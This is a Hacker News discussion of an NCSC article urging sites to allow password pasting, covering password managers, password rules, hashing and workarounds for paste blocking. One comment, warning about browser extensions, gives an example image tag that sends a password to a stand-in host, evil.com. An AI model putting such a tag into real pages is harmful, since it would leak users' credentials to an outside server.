Hacker News new | past | comments | ask | show | jobs | submit login
Let them paste passwords (ncsc.gov.uk)
694 points by matthewbadeau on May 18, 2017 | hide | past | web | favorite | 365 comments



Of course it reduces security. It makes you resort to either

1.) typing it out manually while you can't see if you made a mistake

2.) using developer tools to set the 'value' attribute directly

"SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right more reliably than my eyes and fingers.

Whenever I see a website that blocks paste I immediately assume it's built by incompetent people and trust it with as little as possible.


Other signs that a site was built by incompetent developers (Or had too much management interference--Devs aren't always to blame!):

Only works with Internet Explorer

Doesn't work with Internet Explorer

Password must have one of 4-10 special characters, but not other special characters. (e.g.: Must contain !, @, ^, &, or parentheses, but not ;, ", etc)

Passwords have no requirements

Right-click is disabled

Video plays as soon as the site loads

Share buttons that use javascript to follow the viewport

Share buttons that pop up over every single image

"Want to see more" when you move the mouse to the top of the screen (Or reach the bottom of the page) (or as soon as the page loads)

Slideshows of any sort


We had a gem at my last university (UCL): you must rotate your password every few months, your password can't be anything like any of the previous ones (i.e. previous ones are stored, and they're not hashed), your password must contain special characters etc.

Except.. it can only be 8 characters long. Anything else gets truncated (they explicitly said so). The mind boggles.

I have no idea where this limitation comes from, do people just set an 8 character field in their database? Was this a problem decades ago that they figured they'd save a few megabytes of storage space?

I think they've finally changed it so that the reset period is determined on your password complexity, no length limitations, and you can have 2FA (or at least mobile password reset).


> your password can't be anything like any of the previous ones (i.e. they're not stored hashed)

That's... not necessarily the case. You can implement that check by only storing hashes of previous passwords, or of patterns derived form them that are also forbidden (e.g. store a bcrypt of every previous password converted to all lowercase and with numbers and symbols removed).


Manager: We need to ensure people aren't using similar passwords on reset, but we can't store the password unhashed.

Developer: Similar passwords? Or Same passwords. Similar is hard.

M: Similar. Can't let people be lazy with their passwords.

D: Well, if we really have to do it, I guess we could store a bunch of hashed variations of the password, but...

M: Good! Let's do that.

D: ...but that could be a massive amount of space for long passwords.

M: Okay, we'll just enforce short passwords then.

D: ...doesn't that more than negate all the benefit of preventing similar passwords when rotating them?

M: Doesn't matter, the CEO said he wants this. Hop to it!

Developer laments the stupidity of their life


It's funny because "DecemberSixteen" is very different from "MarchSeventeen" as a password from a characters point of view but is trivial to extrapolate if you know the guy has to change password every 3 months.


Why would they need to store the hash for all the combinations?

Why not generate a list of similar passwords to the new password, hash them all using the same salt of the previous password and then compare them.


Depending on what is considered "similar", every extra password character may exponentially increase the number of similar passwords.


Well in my case, there was only an 8 character limit, so there was a least a bound on it. I didn't investigate how far you could deviate from an old password before it was allowed though.


Been there, fought that.


longer passwords don't hash to longer values (within any reasonable variation of order of magnitude in input size). That would defeat the purpose of hashing


But a longer password would require more combinations for similarity than a short password.


Ah. Thanks for clarifying.

Still, permutations longer hashes don't require substantially more space. Password storage is a completely trivial fraction of total storage -- Compare to a single photo, or a video!

And further still, they don't need to _store_ all the hash variations

https://security.stackexchange.com/questions/53481/does-face...


Wow, it slipped my mind entirely that you could do the permutations when you create the new password but before verifying, rather than after creating a password. That's a great idea, and embarrassingly obvious in retrospect.


Yes, that's the point being made.


Though I'm pretty sure I've seen "Your password is too similar to a previous password" before, which suggests some kind of plaintext Levenshtein distance check.

"Is the same as" can be fine with a hash, but "Is too similar" is definitely a red flag.


When I've seen that "your password is too similar..." warning, it was with a system that required entering my current password to set a new password, so no need to store a previous version in plaintext.

Though another way around it is to apply a set of common transformations to your new password, hash it and see if it matches the previous one. I.e. if your current password is "Password123" and you try to set it to "Password1234", the system could truncate the last digit on the new password and see if it matches the current one.


I think almost every system requires you to put in your current password to change new password.


Aren't passwords hashed on the client side before sending it across the network? That would make your way around not work (unless that's done on the client side also after verifying from the server that it's correct).


Hashing it on the client side will make the hash the password. So the stored hash can be used as password by turning off the client side hashing, for instance by turning off javascript. You use https to avoid sending the password in cleartext over the network


I've certainly never encountered a web app that hashes locally before sending. I suppose it could work if this was at the account creation or password management stages, but you couldn't implement it at the login stage for obvious reasons.

I'm having trouble imagining what scenario client-side hashing would protect against.


Man in the middle attacks fetching for plaintext passwords

-- edit: using a KDF would improve it even more.


If the client only sends the hash to the server, a MitM also only needs to capture the hash.


Sure, but if they've MITM:ed your trusted certs, aren't you already boned in so many ways?


That's unnecessarily complex. Just ask for the old password when doing an expiration reset. Validate the old one then compare that against the proposed new one.


Actually, that's a very good point - you did indeed have to submit the old and new passwords. I want to say that they checked against older passwords too, but I might be misremembering.


That doesn't help. Your new password might be the same as the twice-previous password.


You're certainly right (e.g. that's how Facebook can remember so many different variations of you password without storing the actual password itself), but if their engineers are capping the password field at 8 chars, I HIGHLY DOUBT that is what's going on.


If you really want to annoy me, use soundex[1] as a final normalization step.

[1] https://en.wikipedia.org/wiki/Soundex


Doesn't that decrease the benefit of storing a hash? You probably know the process through which the derivative hashes are generated, which is not known-plaintext but seems kinda iffy still.


I think it would decrease the benefit, yes.

If you store the hash of the password, plus the hash of a hundred "similar" passwords, then the hacker only has to brute-force one to find that they are on the right track, and then brute-force "similar" combinations.


Unless you do it the other way around: Generate a list of all passwords similar to the one the user just entered and see if that matches any previous hashes. This is how Facebook's password check works [0]

[0] https://security.stackexchange.com/a/53483


Supposedly, you'd only be able to get feedback about the similarity of a password in a state where you're already authenticated. So I guess this would help an attacker get the password when they've already gained access in some other way. But that's a big assumption.


Yeah, they probably stored old hashes, but I find it hard to believe they stored variations of old ones as well. Maybe they did though!


I guess it comes from old UNIX passwords (80s and before). They were limited to 8 characters if my memory doesn't fail me. But they were already stored with one way encryption.


Your memory's fine.

man 3 crypt => https://linux.die.net/man/3/crypt


Thanks.

That prompted me to google up a summary of the password length limits of various operating systems https://security.stackexchange.com/questions/22721/password-...


I have seen my online password for Australia's biggest Telco, in plaintext on a computer screen in the shop while buying a new phone...


My University also had an 8 character restriction. When I asked them about it, they said it was because they wanted a single password across all of the systems, and some of them were really old and had an 8 character restriction, so that had to propagate up to everything else.


I once had similar problem in some ancient LDAP installation and it turned out that adding random 9th character was enough to pass the check while keeping the password effectively the same :)


Theoretically, using homomorphic encryption you can both store passwords securely and check them for similarity. :)


If the similarity of ciphertexts reveals information about the similarity of the cleartexts, then given you have the encrypted password and the encryption algorithm, couldn't you guess the cleartext password by performing search? The point about hashes is that nobody can decrypt, although everybody knows the "encryption" algorithm. So not sure that homomorphic encryption would help in this case. Or am I missing something?


Comparing the hash values would also work (if done right, hash collisions are extremely rare).


I worked at a bank that still has online banking password requirement of 6 characters... though must contain a number so totally secure.

Internally they still use Lotus notes 7.? last I heard. And storage limit was something like 100Mb if I recall correctly.


Britain and the Commonwealth feel especially bad with onerous and arbitrary requirements on passwords and such.


The most odd bit about that UCL password policy is that it said "your password change has been submitted and may take up to 24 hours to take effect." To this day I'm not sure if they were just displayed in cleartext and someone just typed them in by hand


I think some SSO systems actually have to sync the password up with all the crappy computer systems that use it (rather than using actual SSO) and that syncing is done on a cron job at 3am.


Not allowing + in an email field is one of my pet peeves. Congrats on finding an amazing-looking regex for email validation instead of thinking about it.


Yup. The most email validation I evern implement is "there must be an @ sign with stuff before and after the @ sign". Maybe require a dot in the latter space.


I know lots of developers (myself included) who thought they could write a functional email regex. Eventually you learn that in the end, the way to validate an email address is to send an email.


> Eventually you learn that in the end, the way to validate an email address is to send an email.

In my experience as a user, most people in the end also validate the email address by sending an email, but do no learning.


Strictly speaking, the dot in the latter space isn't actually necessary. It needs to be a resolvable domain, but if you bought a TLD you could be "name@tld"


I don't think an @domain is required if it's an email address on the same mail server.


That certainly used to work on Gmail; I haven't tried recently.

(Obvious caveat being that any provider can trivially append @provid.er if you don't specify, so this isn't really proof that email is specified that way.)


Wow, that is literally the only reason I would want a TLD


ICANN forbids application records at the apex of a TLD. The only TLDs that do funky things like this are ccTLDs.

And if you try to actually use a bare TLD you will crash hard into collisions with unqualifed domains and search paths. So, fun as a hack to amuse fellow techies but not useful for anything real.


...is there someone out there who did this?


Not that I'm aware of. Although I wouldn't be surprised if google did it for their employees. They already own the google TLD, they could very easily make it point to the google.com emails.


How many HN-reading googlers have you just made to send 'Test' emails to themselves, I wonder!


Can you actually attach an MX record to a tld?



Huh, cool. Though I don't see a lot of those records myself. For example, `dig MX ai.` gives me the MX record for ai., but I can't see any MX records for as., bj., or dj.


.+@.+\..+


That regex is defective. See benchaney's reply above.


.+@.+(\..+)?

should satisfy you both right? I use the original or a form of usually when I had to check emails.


That's identical to just doing .+@.+


Fully qualified domains actually end in a . If you're allowing sally@google then you must also allow sally@google. To be valid


No you don't. Email addresses explicitly require any periods in the domain to have at least one (non-period) character after the period. From RFC 5322, the relevant grammar production for the domain looks like

  dot-atom-text   =   1*atext *("." 1*atext)
(where atext is letters, digits, or a set of specific punctuation characters that doesn't include periods).


Ah, I wasn't aware that email addresses defined that differently. it looks like it's also the same way as part of obs-domain as defined by the addr-spec part of that. RFC 822 also seems to say the same thing, it's been way too long since i've tried to read those RFCs.


One (probably forgotten) reason people validated email addresses with convoluted regexps is that there are multiple (actually valid per RFC) email addresses formats that can do nasty things. Like explicitly specifying a series of mail servers to go through. They're (hopefully) deprecated and rejected by most servers nowadays, though.


> hopefully

Why?


> By default, this feature is turned off. This closes a nasty open relay loophole where a backup MX host can be tricked into forwarding junk mail to a primary MX host which then spams it out to the world.

http://www.postfix.org/postconf.5.html#allow_untrusted_routi...


Thankfully my email is @@@@@@@.......


Allowing + in an email/password field, but failing to properly encode/decode it, is even more infuriating.


well, string+{whatever1}@gmail.com mails are redirected to string@gmail.com. So a user can just open account for string@gmail.com and then use that to open thousands of user accounts on the site that allows "+" on the email field. (I used to do this on sites that allowed limited number of free downloads after which you had to pay)


I recently started adding random emojis and lyrics to gmail addresses, it isn't usually shown so it's a nearly-steganographic rick-roll.

example+Youre+the+best!+Around!+Nothings+gonna+ever+keep+you+down@gmail.com

Too bad the music emoji is stripped by HN!

PS: Emoji in titles also make things like Youtube videos and blog posts pop quite a bit when shared via social media.


But that's not a feature of email in general. That's a feature of gmail, and a few other email providers that have followed suit. For email in general, foo@bar.com and foo+baz@bar.com are distinct emails that may go to different users.


I wouldn't say "a few other email providers that have followed suit". As far as I know, that's always been a feature of Postfix, and common with Sendmail before that. And qmail offered "-" for the same purpose (as well as providing a facility for filtering/redirecting mail based on -extensions).


The standard (as in most common setup) for djb's qmail, was to accept/forward mail for <prefix>@user.example.com to user@example.com, as in: debian-list@e12e.example.com rather than debian-list+e12e@example.com.

While I believe the + was common for postfix, exim and sendmail?

There even was a spam-fighting scheme that used this - it took a key, and optional date, and a sender address - and generated a unique address you could give out, that was only valid for a certain time, for a certain set of senders.

If the system received a mail with a from address that didn't match the cryptologically signed to-address (e12e-xjjgff65477fc@example.com) - the mail was held back, and the system generated a reply, with a signed reply-to address. A sort of manual grey-listing.


The point is that foo+bar is a convention that many providers follow and not an actual rule of email, and therefore blocking that doesn't make sense because you'll block legitimate addresses too.

Similarly, mail providers can come up with all sorts of different conventions if they want. For example, when setting up a new domain in FastMail, it offers the ability to accept anything@user.dom.ain and turn that into user+anything@dom.ain, and it offers user@anything.dom.ain which it will deliver to user@dom.ain. So here we already have two new conventions that sites can't possibly detect as alternatives to the normal foo+bar@dom.ain.


That is fair, but maybe the providers just want to stop account spamming on their sites, can you blame them for that?


Depending on your email provider, there are a ton of different ways to create brand new email addresses. Blocking off the single pattern of foo+bar@example.com just punishes legitimate users without causing any problem for spammers. Besides the fact that foo+bar@example.com may in fact be a legitimate unique email address, there's also just the case of people who routinely use username+sitename@example.com when signing up for anything as a way of tracking where incoming email is coming from.


None of that is really a red flag for me. The biggest red flag is when I make an account and they send me my username and password in plaintext in the confirmation email. Makes me cringe every time.


Doesn't work on IE - depends on a business.

I made a saas tool for mac developers. Fixing all the quirks would cost far more than the potential 2% users are worth to me.

Slideshows - you mean even embeded Slideshare ones? Why? It's a good tool to explain certain ideas, and easily shareable one. We had our slides embeded on a TC post, and we used them as a significant source of traffic.


>I made a saas tool for mac developers.

There was once a time where this was a workable excuse, but today's browsers are actually pretty good about following standards. If you're doing something that works in some browser, but not all, then you're likely exploiting some weird quirk of that browser.

And of course, not testing if it works in x browser is different than actively stopping your webapp from running if it doesn't detect the right browser/os combination.


I'd say especially embedded slideshare ones. Just link to the PDF, or I won't read your content (and my browser will probably block it anyway).

I don't know what your product is, but I use four different browsers on a daily basis across three operating systems (it would have been six across 2 if not for the win10 privacy debacle, and even more if I had an android), and I want all my SAAS to work on all of them.

Experience says when they don't work everywhere, IT just dumps the service for another SAAS provider and everyone cheers.


Don't blame me for some of those things, blame my clients. I can only suggest so many times that something is bad practice, without getting fired.


Ah yes, I should have also mentioned clients. Can't win 'em all, huh?


Nothing drives me crazier than random restrictions on my password. I get that there's probably justifiable reasons to limit the number of characters, but if it's a character found on a standard keyboard, it should be available.


You think it's a cost thing ie what the server can compute....?

I forget the term I did this with openssl, Apache, I think with a cheap vps I get between 9 and 10 cost, bcrypt. Sorry if these are not directly related for hashing.

A few sites I have to use for my dishwashing job work ie. share point and a card company that manages my money, as well as another by WalMart, they don't allow special characters only upper case-lower case and digits. You'd think okay length then but some have limits like a 15char limit.


Wait. Why is zero restrictions on passwords a bad thing?


there should be a minimum length.

Or people will use 2-4 character passwords (often the initials of their name etc)


This is their problem then.


So fb and Twitter are either built by incompetent devs or they have too high a mgmt interference? (Since they auto play videos)


> So fb and Twitter are either built by incompetent devs or they have too high a mgmt interference? (Since they auto play videos)

That seems like it's asked with the expectation that the obvious answer is "no", but I believe it's "yes". Well, I have no idea of the quality of their devs, but someone in the decision chain thought that auto-playing videos was a good idea, and he, she, or they were wrong.


I agree with all your points except slideshows. Why so much hate against slideshows ?


I don't have a problem with slideshows, but a reason is that, in the UX perspective, elements that animate recurringly with previously hidden content (and possibly links) is confusing and not actually used, and then when you find something you want to check you have to use the slideshow pagination, which is cumbersome. Better to properly display the points of interest.


I was talking to one of the Facebook cofounders years ago, and he put it better than I could (he wasn't talking about slideshows specifically). I don't have an exact quote but it went something like this:

We don't optimize for impressions per session. Instead we optimize for the number of things a user does in a fixed amount of time, (or per session). The former is a poor proxy for the latter, and you can increase impressions by adding useless click through pages that ultimately drive away users and destroy your business in the long term. (In the short term, these things make your metrics look good.)

I bring this up because slideshows are a great way to artificially boost impressions.


They are used by people who need to turn what should be 3 bullet points into a slow "presentation".


I don't like them because they make it difficult to copy and paste the whole of the content.


> Doesn't work with Internet Explorer

Some of us just can't be bothered. My web app is tested on Chrome, Firefox, and Edge. If you want to use IE you are on your own and I won't support you unless you give me a million dollars.


You don't have to support all browsers, but but generally knowing what doesn't work on IE and avoiding the big problems these days is pretty easy.


How about case insensitive passwords? That one always bugs me because it suggests that maybe they are storing the password.


Case insensitive passwords is entirely a business decision. Banking websites in particular have huge numbers of non tech savvy customers. When they forget their password or type it in incorrectly, they don't go to the password reset form, they call into customer support. This costs an enormous amount of money.

Banks figured the cost of reimbursing people if their account is compromised is lower than the cost of having to field all of those phone calls.

Source: Used to work at a bank.


Yeah, that makes sense.

Once after my account was stolen from, I did a careful look at the website and sent in a list of questions and complaints about their practices. After enough bugging, a person eventually called me. The bottom line was essentially that I shouldn't be concerned because I'm not responsible for fraudulent withdrawals. It wasn't very satisfying.

The thieves got away with around $2400.


Not true, they most likely convert all characters to a certain case before they hash it, so even if you entered PASSworD123 they convert to password123 and then hash.

I believe I read that Facebook stores a few commonly mistyped versions of everyone's password. Actual password, typed as if caps lock was on, things like that.


That's a good point. I'm pretty sure my bank is storing the password because they also limit it to some (small) number of characters. I'm guessing it's because the web interface is just passing it on to some ancient back-end system.


> I'm pretty sure my bank is storing the password because they also limit it to some (small) number of characters.

I love how it's always the banks with these ridiculous password practices. I'm really glad that it's not some site where the password is protecting important information.


That reduces password entropy and makes the hashes easier to crack.


I didn't say it's a good idea, it's awful, just pointing it out though.


Well, does it? Even if you crack it you don't have the correct casing. So you don't have the original password. Of course doesn't help if every other website converts to lower case too.

But if you use bcrypt you can partially compensate by using a higher work factor.


> Well, does it? Even if you crack it you don't have the correct casing.

The 'correct casing' is any member of the set of all permutations of cases. So you both do, don't, and do not care.


Sure, it's possible to do it that way. But if I were taking bets, I know where I'd put my money.


I've seen people write hash functions which change the input to all lower or upper case first. I think it's a pointless, stupid idea– maybe unless it's a VERY low-risk system for people with cognitive disabilities, kids or seniors– but not necessarily unhashed-password-level stupid.


facebook logins work this way (sort of). they account for flipped case (caps lock on) and for passwords that accidentally have the first letter capitalized.


I knew I was forgetting something!


Why do you think that "Passwords have no requirements" is a sign of incompetence?


Length seems like a reasonable requirement, e.g. it can't be "asd"


I'm pretty thankful on some websites when there are no password requirements. Like the article states, sometimes I am not coming back to that website. In truth the real annoyance for me is requiring an account. I wish more companies would just let me order without storing account details.


Or "" ...


That sums up every govt and banking site in India.


It's interesting that a lot of us are assuming that pasting encourages the use of password managers.

However; I worry that this is a very BIG assumption.

Even in my IT-literate circles password management usage is low.

In my non-IT circles it is non-existent, and not because of SPP particularly; I suspect SPP (which I agree is silly) derived from an understanding that allowing an average person to paste passwords meant they stored them in passwords.txt on their desktop.

Naturally the population here is technical so it can be hard to see that as a common and sensible thought process. But never underestimate the capacity of the average person (who's IT capability you and I don't represent) to make mistakes like this and never see the problem/risk.

It's odd that the article explicitly mentions this near the start but then doesn't address it in the Justifications section.


I think you have the causality backwards. If someone's storing passwords in a text file on their desktop, they will probably copy/paste those passwords if the functionality is available. However, they're probably storing their passwords somewhere because they have trouble remembering them, which doesn't change if you block pasting. You can have a passwords.txt file and just consult it to type in your password every time. In theory that might help you remember it after being forced to type it a few dozen times, but many of the sites that block pasting also force password rotation riiight around when you finally start remembering it.


> I suspect SPP (which I agree is silly) derived from an understanding that allowing an average person to paste passwords meant they stored them in passwords.txt on their desktop

That's a significantly better practice than using the same easy-to-type password on every site, isn't it?


I don't think the assumption is pasting encourages password managers. The assumption is not allowing pasting discourages password managers.


I assume that those people still use a passwords.txt and type the passwords in it, or they use only one password for all the sites. So SPP doesn't change anything for them but it makes switching them to a password manager more difficult.


> In my non-IT circles [password management] is non-existent, ... an average person to paste passwords meant they stored them in passwords.txt on their desktop.

But that is password management, it's just crap password management.

There's certainly an argument that a plaintext-on-desktop stored list of high-entropy passwords is better than a single in-(human)-memory low-entropy password. With the recent wannacrypt reminder, that argument's slightly diminished, though.

I think the highest impact (i.e. fn of quick/low effort, high reward) suggestion to non tech-literate folk is to use 2FA on their email account. I like and usually suggest Authy, mainly because it's available as a Chrome app too whereas e.g. Google Authenticator is just on Android/iOS. (I assume it's clear, but email account as opposed to something else since it's so near universally treated as the fallback option.)

That's a good base for them to start using 2FA everywhere else it's possible, too.


Why are you worried? Regardless of whether avoiding SPP 'encourages,' that is, actively advocates for the use of password managers, we can agree that implementing SPP 'discourages' the use of password managers, right? So is there some risk I'm not seeing in 'enabling but not overtly advocating for' the use of password managers?


passwords.txt? Not a chance, it's definitely gonna be Passwords.docx or Passwords.pages. :P


> Even in my IT-literate circles password management usage is low

You are forked if your manager is ever compromised. It's only a matter of time until a major breach happens with a popular password manager.


>You are forked if your manager is ever compromised.

You are forked if your machine is ever rooted too. Security isn't about perfection, it's about economics and threat models. For the average person the biggest fundamental risk comes from one of the vast numbers of services they use, none of which they have the slightest control over or knowledge of, getting breached, bought, leaked or whatever. As long as we need to use passwords (long past any technical reason for it, but legacy and inertia tends to make change extremely had) for authentication, it will in turn remain necessary for people to use passwords for every site that are good (random of sufficient length), unique, and can be changed at any given arbitrary time (in case of service compromise). It is simply not possible for most humans to handle all that in their heads, perfectly and indefinitely. Which in turn leads directly to password managers, end of story. It's not a matter of them being ideal or even desirable, they're necessary under current common authentication practices.

>It's only a matter of time until a major breach happens with a popular password manager.

Explain what you mean by this? Most password managers operate purely client side, and all actual password managers perform encryption client-side, there is nothing to "breach" to get general access to a wide swath. A persistent targeted threat is an entirely different scenario. Or did you mean you expect the password manager application software deployment system itself to get breached and thus release a malware infected update? That though isn't an issue limited to password managers at all, it's one that you can at least somewhat counteract yourself since it's ultimately on a system under your control (and there are OSS password managers, etc), and password manager devs have better domain knowledge and specialization then some random service.

In terms of threat model it's a no brainer. It's disappointing to see continued protestations against password manager usage on HN of all places, short of some theoretical discussion of switching everything to proper public key auth. Even a full court industry push starting tomorrow though wouldn't eliminate passwords for likely years if not decades, and in the mean time everyone has to make the best of it.


The same argument could be made about online banking or any other high-risk online service. Really though, your average manager far more likely to have their machine compromised with malware or fall for a spear phishing attack. There will always be ways to circumvent security, but password managers solve more problems than they create. Regardless if it was your password manager which was compromised, or any other sort of password leak, it's really easy to quickly change all of your passwords once it's secured again. Eschewing good because it's not perfect is a losing strategy.


So use a local password manager instead of a cloud-based one.


I use a password manager to generate long, complex passwords for every service I use (as complex as the service will allow).

For sites that disable pasting, I have developed quite a skill at copying the password character by character from my PM into the password field. I'm even starting to remember a couple of them.

Incredibly frustrating.


> For sites that disable pasting,

For Firefox, setting the "dom.event.clipboardevents.enabled" about:config option to false prevents clipboard paste events from reaching javascript. No more blocked pasting after you toggle that option, even if the website attempts to do so.


I've seen sites that disable the input whenever the ctrl key is held down.


Use "Paste" from right click menu. Configure your environment to use a different paste keyboard combo. Use the old X11 clipboard with middle button paste.


Came here to say this, this should be the top post.


Use KeePass's auto-type feature. I'm not familiar with other password managers, but for KeePass it emulates a keyboard, and works on sites that disable pasting.


Wow, I've been using KeePass like a monkey then, thanks for this.


I just had the joy of entering in a PM generated 64 character password into a new Android phone during the set up process; fun!


If you can remember it that means you need to change it! I refuse to look at any of my generated passwords. For the services that wont let me paste in, I have a macro that will type whats on my clipboard. Just a simple auto IT script with a WAIT (so I can make sure I focus on the input box) and SEND.

My password manager also clears the clipboard if it is equal to the last password copied after a wile (I've never timed it).


> If you can remember it that means you need to change it! I refuse to look at any of my generated passwords.

I'm trying to understand the reasoning for this. Are you dealing with very sensitive information that you have a real reason to fear the rubber-hose cryptanalysis method?


More because you'll develop a resistance to changing the password, since you'll have to start over on memorizing the new one.


AFAIK the benefit of changing passwords regularly is highly debatable anyway. If so, I think "Don't change it, since you would have to memorize the new one" is more logical advice.


This is a good point, and part of the problem with the way the average computer user (and far too many above-average users) treat their passwords.


As a consultant, I have been given access to a lot of passwords for clients. From corporate bank accounts to production servers at government agencies. So they are very sensitive, and when my contract is up, I delete the password folder for that client. I started doing that with clients, then eventually ended up continuing it to my personal passwords as well.


You talked about not even looking at generated passwords, which is different from client's passwords. That's the part I didn't understand.

Although, honestly, the other part seems more bizarre. Gov't agencies and other clients are just giving you their sensitive passwords, and trusting you to delete them after the project, at your leisure? How is that not terrible security? Revoking a consultant's security needs to be in the hands of the employers.


I'm pretty sure the passwords I'm given are generated. I wouldn't really know as they shared the passwords in a file with me that I never looked at them. I'm sure they cleaned up accounts on their end, but I would rather do some due diligence on my end as well. I don't know their processes and procedures.

But why even know your own passwords, what is the point? If I can double click from my manager and paste it into my password field and never have to worry about knowing anything, I'm much happier and safer.


For those not familiar with the rubber-hose method: https://xkcd.com/538/


Personally, I always thought the phrase ought to be "brutish-force cracking," like "brute force", but that's just me...


Sometimes I open the developer tools and paste the password in the value of the input element there. It usually works.


I write an Alfred (https://www.alfredapp.com) workflow that sends keystroke events using AppleScript for arbitrary strings, specifically to work around SPP.

The AppleScript in question is very simple, it just looks like

  on alfred_script(q)
      tell application "System Events" to keystroke q
  end alfred_script


I also worry when a site doesn't work with autocomplete. It's rare these days that the developers have actively tried to prevent it from working, but more common that an unnecessarily intricate sign-in flow makes the existence of the password field unrecognizable to the browser.

This makes me wonder about the personal security practices of the team that built it -- it's unlikely they typed strong passphrases hundreds of times a day during development -- and whether a secure site could come from such a team.


There are a couple of reasons to actively prevent autofill passwords. The only one I have seen for login autofill prevention is when the password is actually a generated token (ala yubikey,etc) and a password manager won't do the right thing by default.

There are regulatory bodies that require regular challenge of user identity for approving items as sort of a signature mechanism. This is another time where active thwarting the password manager makes sense. Whether or not the regulation makes sense is an entirely different issue.


Those are good reasons, and I appreciate when the attribute is used properly in these cases. It's annoying to have to say "no, don't remember this updated password" to my browser every single time I visit certain sites that ask for OTPs that my browser wants to autofill.

In the token case, I wonder whether they should have been password fields to begin with. Replacing a 6-digit OTP with asterisks is of questionable benefit, because the shoulder-surfer it thwarts can't reuse the OTP and is really unlikely to swipe it and use it before you do.


Also, a password manager that is built into the browser can give hints(sometimes subtle) that the site isn't who is says it is because the password/user id is tied to the domain


You can also paste it somewhere on the browser or site, then select and drag it to the password field in a lot of cases.


If you want to see incompetence, the California DMV doesn't allow copy/paste AND it asks for not two, not three, but SIX personal security questions.

Oh, and if you forget your login/pass/security-answers, don't worry, you can just re-register your account with the same username as before, with all new password, security questions and answers.


>it asks for not two, not three, but SIX personal security questions.

As in... every login it wants you to answer all six of your questions? That's barmy.


No, part of the registration, for password recovery


The end result of "discourages use of a password manager" is definitely this for normal users: use the same password for all website logins. How is this a good thing?


Maybe it's time we stop labelling password reset links as "Forgot my password." Implies you're supposed to have it only in your head.


Oddly enough namecheap prevents pasting into their 2fa code input. I tried to tell them that a lot of us get sms messages on your desktop thanks to apple messages.


So many forms also ask to enter the email address twice. I mean I can understand asking to type in the password twice, but email address - seriously!?


That restriction I can understand, though I think passwords should not have to be typed twice. If you enter the password incorrectly, you can always reset it after the fact. But if you enter the incorrect email address (and subsequently forget the password), it will be harder to access your account since you presumably do not have access to the (erroneous) email used for registration.


3) use an auto-typing tool to type in your password for you

eg. echo "type password" | xdotool -


>> 1.) typing it out manually while you can't see if you made a mistake

This is my pet peeve. Password fields should not be obfuscated by default. It should be a toggle that is off on page load. Shoulder surfing is a corner case.


Cameras are everywhere in public spaces, and most people wouldn't notice a password field wasn't obfuscated until they've already started typing. Defaulting to obfuscated seems the only sensible option.


But with a camera I can just see what you typed, with a fairly high accuracy.


Video, yes. Stills, seems less likely.


Are there /any/ digital cameras these days that only do stills?


No way. The number of reported cases of passwords being stolen simply by physical proximity is enough to make this a sensible default. I agree that there should be an option to show the password as you're typing or, at a minimum, once you're done typing (less secure) but making that the default is unreasonable.


On Chrome you can use "Don't Fuck With Paste" to override these bad forms: https://chrome.google.com/webstore/detail/dont-fuck-with-pas...


I was hoping this would also prevent websites from messing with the input to the clipboard. It's a bit annoying to copy a sentence from a website only to have "Read more on XYZ!" appended to it.


Fork the Don't Fuck with paste code and add that feature (or use it as an example to make your "Don't fuck with copy" extension).

https://github.com/jswanner/DontFuckWithPaste

I hate sites that do that (or prevent right-click as if that somehow secures their code).


I'd actually like an extension along the lines of "This is not Google Docs, for fuck's sake", that just disables all these APIs that are only ever useful with rich apps, but not with content-heavy websites, for example:

- copy/paste hijacking

- sensor access: microphone, camera, GPS, etc.

Maybe even go further and introduce some sort of rate-limiting for

- XHR requests

- relayout events

to save power and data.


Incidentally, what are these APIs? I am building a rich content app (SVG editor) and have been starting to think about what copy + paste will look like.


I think you want to investigate the "ClipboardEvent" web API. Try starting here: https://developer.mozilla.org/en-US/docs/Web/API/ClipboardEv...


Thanks!


Couldn't you just load a JS file before 3rd party scripts and overload those methods? Preferably in a way that won't break the site.


In Firefox you can disable this by setting dom.event.clipboardevents.enabled to false.


In Firefox you block them by going to about:config and changing dom.event.clipboardevents.enabled to false.


I was overjoyed by this, and then i saw the permissions: "it can read and change all data on websites you visit".

I _think_ that means it can send all of by passwords offsite, or do plugins need a separate permission to phone home?

https://security.stackexchange.com/questions/15259/worst-cas...


Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests.

The plugin's code is probably quite short - maybe you could inspect it yourself, manually?


Problem is extensions silently update in the background. They are frequently sold to adware companies, then malicious scripts added in without the user's knowledge.


Hadn't done this before, but it's trivial to manually load the plugin[1] from the cloned git repo[2].

It's a bit disappointing that Chrome doesn't let you sandbox things well enough to install plugins safely; there's no reason that plugins should be allowed to transmit data without asking for permission.

[1]: https://developer.chrome.com/extensions/getstarted [2]: https://github.com/jswanner/DontFuckWithPaste


This add-on will be available for Firefox here after it is reviewed by Mozilla: https://addons.mozilla.org/en-US/firefox/addon/don-t-fuck-wi...


In general, more and more sites encourage me to just leave Javascript turned off all the time. If they break, screw them, I'll go elsewhere. The only sites "sticky" enough to make me put up with it are financial, and that's only because they all suck so changing solves nothing. 'Missing out' on Angular sites hasn't left me feel like I'm missing anything in my life.

This ties in to the discussion of Craig's List the other day. It is so refreshing to use a site that doesn't try to be clever. I understand if people find it ugly, but I don't - simple is good, and I don't care if sites follow whatever design trend is hot this week. Usability is far more important.


> If they break, screw them, I'll go elsewhere.

I think that option is going to greatly constrain where you are able to go on the web. The vast majority of ecommerce sites I visit will break with JS completely turned off.


OTOH, these "universal" web apps/sites can work quite well without JS. As long as the developer isn't doing silly things like using <button> as a link, or using an anchor to submit a form.

At one point, I built a sortable filterable table for an admin UI, using React. One of the admins was a "no js" guy, and he thanked me for building the whole thing in functional HTML. Up until that point, I had no idea that the admin side of the system was even usable without JS; that was just a natural consequence of optimizing for SEO and load speed (server side rendering, URL representation for all significant state).


I've been using Internet for almost two years with JS disabled by default.

My experience is, that while ecommerce sites may break, most of them are quite usable even without JS.

Most good blogs work just fine. And the ones that don't I usually don't bother reading.


Far fewer than you'd think, at least among the ecommerce shops I buy stuff from. And those are mostly the huge shops, which are mostly interchangeable as far as I'm concerned.


So no Google Maps for you? I remember mapquest 20 years ago where you'd pan the map by clicking arrows and reloading the page. Good times! Usability totally won that day.


> no Google Maps for you?

I roughly use OpenStreetMap 80% of the time, Bing 5% and Google Maps 15%.

